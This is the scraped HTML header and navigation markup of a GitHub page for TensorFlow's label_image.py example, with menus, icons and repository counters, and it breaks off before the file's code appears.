<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000">
<link rel="icon" type="image/x-icon" class="js-site-favicon" href="https://github.githubassets.com/favicon.ico">
<meta name="theme-color" content="#1e2327">
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-blob">
<div class="position-relative js-header-wrapper ">
<a href="#start-of-content" tabindex="1" class="px-2 py-4 bg-blue text-white show-on-focus js-skip-to-content">Skip to content</a>
<div id="js-pjax-loader-bar" class="pjax-loader-bar"><div class="progress"></div></div>
<header class="Header header-logged-out position-relative f4 py-3" role="banner">
<div class="container-lg d-flex px-3">
<div class="d-flex flex-justify-between flex-items-center">
<a class="mr-4" href="https://github.com/" aria-label="Homepage" data-ga-click="(Logged out) Header, go to homepage, icon:logo-wordmark; experiment:site_header_dropdowns; group:dropdowns">
<svg height="32" class="octicon octicon-mark-github text-white" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
</a>
</div>
<div class="HeaderMenu HeaderMenu--logged-out d-flex flex-justify-between flex-items-center flex-auto">
<div class="d-none">
<button class="btn-link js-details-target" type="button" aria-label="Toggle navigation" aria-expanded="false">
<svg height="24" class="octicon octicon-x text-gray" viewBox="0 0 12 16" version="1.1" width="18" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg>
</button>
</div>
<nav class="mt-0" aria-label="Global">
<ul class="d-flex list-style-none">
<li class=" mr-3 mr-lg-3 edge-item-fix position-relative flex-wrap flex-justify-between d-flex flex-items-center ">
<details class="HeaderMenu-details details-overlay details-reset width-full">
<summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-inline-block">
Why GitHub?
<svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-relative">
<path d="M1,1l6.2,6L13,1"></path>
</svg>
</summary>
<div class="dropdown-menu flex-auto rounded-1 bg-white px-0 mt-0 p-4 left-n4 position-absolute">
<a href="/features" class="py-2 lh-condensed-ultra d-block link-gray-dark no-underline h5 Bump-link--hover" data-ga-click="(Logged out) Header, go to Features">Features <span class="Bump-link-symbol float-right text-normal text-gray-light">→</span></a>
<ul class="list-style-none f5 pb-3">
<li class="edge-item-fix"><a href="/features/code-review/" class="py-2 lh-condensed-ultra d-block link-gray no-underline f5" data-ga-click="(Logged out) Header, go to Code review">Code review</a></li>
<li class="edge-item-fix"><a href="/features/project-management/" class="py-2 lh-condensed-ultra d-block link-gray no-underline f5" data-ga-click="(Logged out) Header, go to Project management">Project management</a></li>
<li class="edge-item-fix"><a href="/features/integrations" class="py-2 lh-condensed-ultra d-block link-gray no-underline f5" data-ga-click="(Logged out) Header, go to Integrations">Integrations</a></li>
<li class="edge-item-fix"><a href="/features#team-management" class="py-2 lh-condensed-ultra d-block link-gray no-underline f5" data-ga-click="(Logged out) Header, go to Team management">Team management</a></li>
<li class="edge-item-fix"><a href="/features#social-coding" class="py-2 lh-condensed-ultra d-block link-gray no-underline f5" data-ga-click="(Logged out) Header, go to Social coding">Social coding</a></li>
<li class="edge-item-fix"><a href="/features#documentation" class="py-2 lh-condensed-ultra d-block link-gray no-underline f5" data-ga-click="(Logged out) Header, go to Documentation">Documentation</a></li>
<li class="edge-item-fix"><a href="/features#code-hosting" class="py-2 lh-condensed-ultra d-block link-gray no-underline f5" data-ga-click="(Logged out) Header, go to Code hosting">Code hosting</a></li>
</ul>
<ul class="list-style-none mb-0 border-lg-top pt-lg-3">
<li class="edge-item-fix"><a href="/case-studies" class="py-2 lh-condensed-ultra d-block no-underline link-gray-dark no-underline h5 Bump-link--hover" data-ga-click="(Logged out) Header, go to Case studies">Case Studies <span class="Bump-link-symbol float-right text-normal text-gray-light">→</span></a></li>
<li class="edge-item-fix"><a href="/security" class="py-2 lh-condensed-ultra d-block no-underline link-gray-dark no-underline h5 Bump-link--hover" data-ga-click="(Logged out) Header, go to Security">Security <span class="Bump-link-symbol float-right text-normal text-gray-light">→</span></a></li>
</ul>
</div>
</details>
</li>
<li class=" mr-3 mr-lg-3">
<a href="/business" class="HeaderMenu-link no-underline py-3 d-block d-lg-inline-block" data-ga-click="(Logged out) Header, go to Business">Business</a>
</li>
<li class=" mr-3 mr-lg-3 edge-item-fix position-relative flex-wrap flex-justify-between d-flex flex-items-center ">
<details class="HeaderMenu-details details-overlay details-reset width-full">
<summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-inline-block">
Explore
<svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-relative">
<path d="M1,1l6.2,6L13,1"></path>
</svg>
</summary>
<div class="dropdown-menu flex-auto rounded-1 bg-white px-0 pt-2 pb-0 mt-0 p-4 left-n4 position-absolute">
<ul class="list-style-none mb-3">
<li class="edge-item-fix"><a href="/explore" class="py-2 lh-condensed-ultra d-block link-gray-dark no-underline h5 Bump-link--hover" data-ga-click="(Logged out) Header, go to Features">Explore GitHub <span class="Bump-link-symbol float-right text-normal text-gray-light">→</span></a></li>
</ul>
<h4 class="text-gray-light text-normal text-mono f5 mb-2 border-top pt-3">Learn & contribute</h4>
<ul class="list-style-none mb-3">
<li class="edge-item-fix"><a href="/topics" class="py-2 lh-condensed-ultra d-block link-gray no-underline f5" data-ga-click="(Logged out) Header, go to Topics">Topics</a></li>
<li class="edge-item-fix"><a href="/collections" class="py-2 lh-condensed-ultra d-block link-gray no-underline f5" data-ga-click="(Logged out) Header, go to Collections">Collections</a></li>
<li class="edge-item-fix"><a href="/trending" class="py-2 lh-condensed-ultra d-block link-gray no-underline f5" data-ga-click="(Logged out) Header, go to Trending">Trending</a></li>
<li class="edge-item-fix"><a href="https://lab.github.com/" class="py-2 lh-condensed-ultra d-block link-gray no-underline f5" data-ga-click="(Logged out) Header, go to Learning lab">Learning Lab</a></li>
<li class="edge-item-fix"><a href="https://opensource.guide" class="py-2 lh-condensed-ultra d-block link-gray no-underline f5" data-ga-click="(Logged out) Header, go to Open source guides">Open source guides</a></li>
</ul>
<h4 class="text-gray-light text-normal text-mono f5 mb-2 border-top pt-3">Connect with others</h4>
<ul class="list-style-none mb-0">
<li class="edge-item-fix"><a href="/events" class="py-2 lh-condensed-ultra d-block link-gray no-underline f5" data-ga-click="(Logged out) Header, go to Events">Events</a></li>
<li class="edge-item-fix"><a href="https://github.community" class="py-2 lh-condensed-ultra d-block link-gray no-underline f5" data-ga-click="(Logged out) Header, go to Community forum">Community forum</a></li>
<li class="edge-item-fix"><a href="https://education.github.com" class="py-2 pb-0 lh-condensed-ultra d-block link-gray no-underline f5" data-ga-click="(Logged out) Header, go to GitHub Education">GitHub Education</a></li>
</ul>
</div>
</details>
</li>
<li class=" mr-3 mr-lg-3">
<a href="/marketplace" class="HeaderMenu-link no-underline py-3 d-block d-lg-inline-block" data-ga-click="(Logged out) Header, go to Marketplace">Marketplace</a>
</li>
<li class=" mr-3 mr-lg-3 edge-item-fix position-relative flex-wrap flex-justify-between d-flex flex-items-center ">
<details class="HeaderMenu-details details-overlay details-reset width-full">
<summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-inline-block">
Pricing
<svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-relative">
<path d="M1,1l6.2,6L13,1"></path>
</svg>
</summary>
<div class="dropdown-menu flex-auto rounded-1 bg-white px-0 pt-2 pb-4 mt-0 p-4 left-n4 position-absolute">
<a href="/pricing" class="pb-2 lh-condensed-ultra d-block link-gray-dark no-underline h5 Bump-link--hover" data-ga-click="(Logged out) Header, go to Pricing">Plans <span class="Bump-link-symbol float-right text-normal text-gray-light">→</span></a>
<ul class="list-style-none mb-3">
<li class="edge-item-fix"><a href="/pricing#feature-comparison" class="py-2 lh-condensed-ultra d-block link-gray no-underline f5" data-ga-click="(Logged out) Header, go to Compare features">Compare plans</a></li>
<li class="edge-item-fix"><a href="https://enterprise.github.com/contact" class="py-2 lh-condensed-ultra d-block link-gray no-underline f5" data-ga-click="(Logged out) Header, go to Compare features">Contact Sales</a></li>
</ul>
<ul class="list-style-none mb-0 border-top pt-3">
<li class="edge-item-fix"><a href="/nonprofit" class="py-2 lh-condensed-ultra d-block no-underline link-gray-dark no-underline h5 Bump-link--hover" data-ga-click="(Logged out) Header, go to Nonprofits">Nonprofit <span class="Bump-link-symbol float-right text-normal text-gray-light">→</span></a></li>
<li class="edge-item-fix"><a href="https://education.github.com/discount_requests/new" class="py-2 pb-0 lh-condensed-ultra d-block no-underline link-gray-dark no-underline h5 Bump-link--hover" data-ga-click="(Logged out) Header, go to Education">Education <span class="Bump-link-symbol float-right text-normal text-gray-light">→</span></a></li>
</ul>
</div>
</details>
</li>
</ul>
</nav>
<div class="d-flex flex-items-center px-0 text-center text-left">
<div class="d-lg-flex mr-3">
<div class="header-search scoped-search site-scoped-search js-site-search position-relative js-jump-to"
role="combobox"
aria-owns="jump-to-results"
aria-label="Search or jump to"
aria-haspopup="listbox"
aria-expanded="false"
>
<div class="position-relative">
<!-- '"` --><!-- </textarea></xmp> --></option></form><form class="js-site-search-form" data-scope-type="Repository" data-scope-id="45717250" data-scoped-search-url="/tensorflow/tensorflow/search" data-unscoped-search-url="/search" action="/tensorflow/tensorflow/search" accept-charset="UTF-8" method="get"><input name="utf8" type="hidden" value="✓" />
<label class="form-control header-search-wrapper header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center js-chromeless-input-container">
<input type="text"
class="form-control header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable"
data-hotkey="s,/"
name="q"
value=""
placeholder="Search"
data-unscoped-placeholder="Search GitHub"
data-scoped-placeholder="Search"
autocapitalize="off"
aria-autocomplete="list"
aria-controls="jump-to-results"
aria-label="Search"
data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations#csrf-token=K+SZetzKIkHgyl/fJtqDpo9OAzAVbz2FtgC5k9Nwsb+c/gL+jK8Imk9PvORuMVQCsBA0bs73/YChKoJapBFB3w=="
spellcheck="false"
autocomplete="off"
>
<input type="hidden" class="js-site-search-type-field" name="type" >
<img src="https://github.githubassets.com/images/search-key-slash.svg" alt="" class="mr-2 header-search-key-slash">
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<ul class="d-none js-jump-to-suggestions-template-container">
<li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-suggestion" role="option">
<a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none">
<svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg>
<svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg>
<svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0 0 13 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 0 0 0-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"/></svg>
</div>
<img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28">
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target">
</div>
<div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search">
<span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository">
In this repository
</span>
<span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub">
All GitHub
</span>
<span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span>
</div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump">
Jump to
<span class="d-inline-block ml-1 v-align-middle">↵</span>
</div>
</a>
</li>
</ul>
<ul class="d-none js-jump-to-no-results-template-container">
<li class="d-flex flex-justify-center flex-items-center f5 d-none js-jump-to-suggestion p-2">
<span class="text-gray">No suggested jump to results</span>
</li>
</ul>
<ul id="jump-to-results" role="listbox" class="p-0 m-0 js-navigation-container jump-to-suggestions-results-container js-jump-to-suggestions-results-container">
<li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-scoped-search d-none" role="option">
<a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none">
<svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg>
<svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg>
<svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0 0 13 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 0 0 0-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"/></svg>
</div>
<img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28">
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target">
</div>
<div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search">
<span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository">
In this repository
</span>
<span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub">
All GitHub
</span>
<span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span>
</div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump">
Jump to
<span class="d-inline-block ml-1 v-align-middle">↵</span>
</div>
</a>
</li>
<li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-global-search d-none" role="option">
<a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none">
<svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg>
<svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg>
<svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0 0 13 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 0 0 0-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"/></svg>
</div>
<img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28">
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target">
</div>
<div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search">
<span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository">
In this repository
</span>
<span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub">
All GitHub
</span>
<span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span>
</div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump">
Jump to
<span class="d-inline-block ml-1 v-align-middle">↵</span>
</div>
</a>
</li>
</ul>
</div>
</label>
</form> </div>
</div>
</div>
<a class="HeaderMenu-link no-underline mr-3" href="/login?return_to=%2Ftensorflow%2Ftensorflow%2Fblob%2Fmaster%2Ftensorflow%2Fexamples%2Flabel_image%2Flabel_image.py" data-ga-click="(Logged out) Header, clicked Sign in, text:sign-in">Sign in</a>
<a class="HeaderMenu-link d-inline-block no-underline border border-gray-dark rounded-1 px-2 py-1" href="/join" data-ga-click="(Logged out) Header, clicked Sign up, text:sign-up">Sign up</a>
</div>
</div>
</div>
</header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container">
</div>
<div role="main" class="application-main " data-commit-hovercards-enabled>
<div itemscope itemtype="http://schema.org/SoftwareSourceCode" class="">
<div id="js-repo-pjax-container" data-pjax-container >
<div class="pagehead repohead instapaper_ignore readability-menu experiment-repo-nav ">
<div class="repohead-details-container clearfix container">
<ul class="pagehead-actions">
<li>
<a href="/login?return_to=%2Ftensorflow%2Ftensorflow"
class="btn btn-sm btn-with-count tooltipped tooltipped-s"
aria-label="You must be signed in to watch a repository" rel="nofollow">
<svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg>
Watch
</a>
<a class="social-count" href="/tensorflow/tensorflow/watchers"
aria-label="8576 users are watching this repository">
8,576
</a>
</li>
<li>
<a href="/login?return_to=%2Ftensorflow%2Ftensorflow"
class="btn btn-sm btn-with-count tooltipped tooltipped-s"
aria-label="You must be signed in to star a repository" rel="nofollow">
<svg class="octicon octicon-star v-align-text-bottom" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z"/></svg>
Star
</a>
<a class="social-count js-social-count" href="/tensorflow/tensorflow/stargazers"
aria-label="117769 users starred this repository">
117,769
</a>
</li>
<li>
<a href="/login?return_to=%2Ftensorflow%2Ftensorflow"
class="btn btn-sm btn-with-count tooltipped tooltipped-s"
aria-label="You must be signed in to fork a repository" rel="nofollow">
<svg class="octicon octicon-repo-forked v-align-text-bottom" viewBox="0 0 10 16" version="1.1" width="10" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 0 0-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 0 0 2 1a1.993 1.993 0 0 0-1 3.72V6.5l3 3v1.78A1.993 1.993 0 0 0 5 15a1.993 1.993 0 0 0 1-3.72V9.5l3-3V4.72A1.993 1.993 0 0 0 8 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg>
Fork
</a>
<a href="/tensorflow/tensorflow/network/members" class="social-count"
aria-label="71010 users forked this repository">
71,010
</a>
</li>
</ul>
<h1 class="public ">
<svg class="octicon octicon-repo" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg>
<span class="author" itemprop="author"><a class="url fn" rel="author" data-hovercard-type="organization" data-hovercard-url="/orgs/tensorflow/hovercard" href="/tensorflow">tensorflow</a></span><!--
--><span class="path-divider">/</span><!--
--><strong itemprop="name"><a data-pjax="#js-repo-pjax-container" href="/tensorflow/tensorflow">tensorflow</a></strong>
</h1>
</div>
<nav class="reponav js-repo-nav js-sidenav-container-pjax container"
itemscope
itemtype="http://schema.org/BreadcrumbList"
aria-label="Repository"
data-pjax="#js-repo-pjax-container">
<span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement">
<a class="js-selected-navigation-item selected reponav-item" itemprop="url" data-hotkey="g c" aria-current="page" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches repo_packages /tensorflow/tensorflow" href="/tensorflow/tensorflow">
<svg class="octicon octicon-code" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14 8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z"/></svg>
<span itemprop="name">Code</span>
<meta itemprop="position" content="1">
</a> </span>
<span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement">
<a itemprop="url" data-hotkey="g i" class="js-selected-navigation-item reponav-item" data-selected-links="repo_issues repo_labels repo_milestones /tensorflow/tensorflow/issues" href="/tensorflow/tensorflow/issues">
<svg class="octicon octicon-issue-opened" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"/></svg>
<span itemprop="name">Issues</span>
<span class="Counter">1,612</span>
<meta itemprop="position" content="2">
</a> </span>
<span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement">
<a data-hotkey="g p" itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="repo_pulls checks /tensorflow/tensorflow/pulls" href="/tensorflow/tensorflow/pulls">
<svg class="octicon octicon-git-pull-request" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M11 11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3 3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993 1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1 3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0 1-3.72V4.72c.59-.34 1-.98 1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg>
<span itemprop="name">Pull requests</span>
<span class="Counter">285</span>
<meta itemprop="position" content="3">
</a> </span>
<a data-hotkey="g b" class="js-selected-navigation-item reponav-item" data-selected-links="repo_projects new_repo_project repo_project /tensorflow/tensorflow/projects" href="/tensorflow/tensorflow/projects">
<svg class="octicon octicon-project" viewBox="0 0 15 16" version="1.1" width="15" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg>
Projects
<span class="Counter" >1</span>
</a>
<a class="js-selected-navigation-item reponav-item" data-selected-links="repo_graphs repo_contributors dependency_graph pulse alerts security /tensorflow/tensorflow/pulse" href="/tensorflow/tensorflow/pulse">
<svg class="octicon octicon-graph" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4 0H7V3h2v10zm4 0h-2V6h2v7z"/></svg>
Insights
</a>
</nav>
</div>
<div class="container new-discussion-timeline experiment-repo-nav ">
<div class="repository-content ">
<a class="d-none js-permalink-shortcut" data-hotkey="y" href="/tensorflow/tensorflow/blob/44442969c0596728dbdb98035bffc2baf1790f13/tensorflow/examples/label_image/label_image.py">Permalink</a>
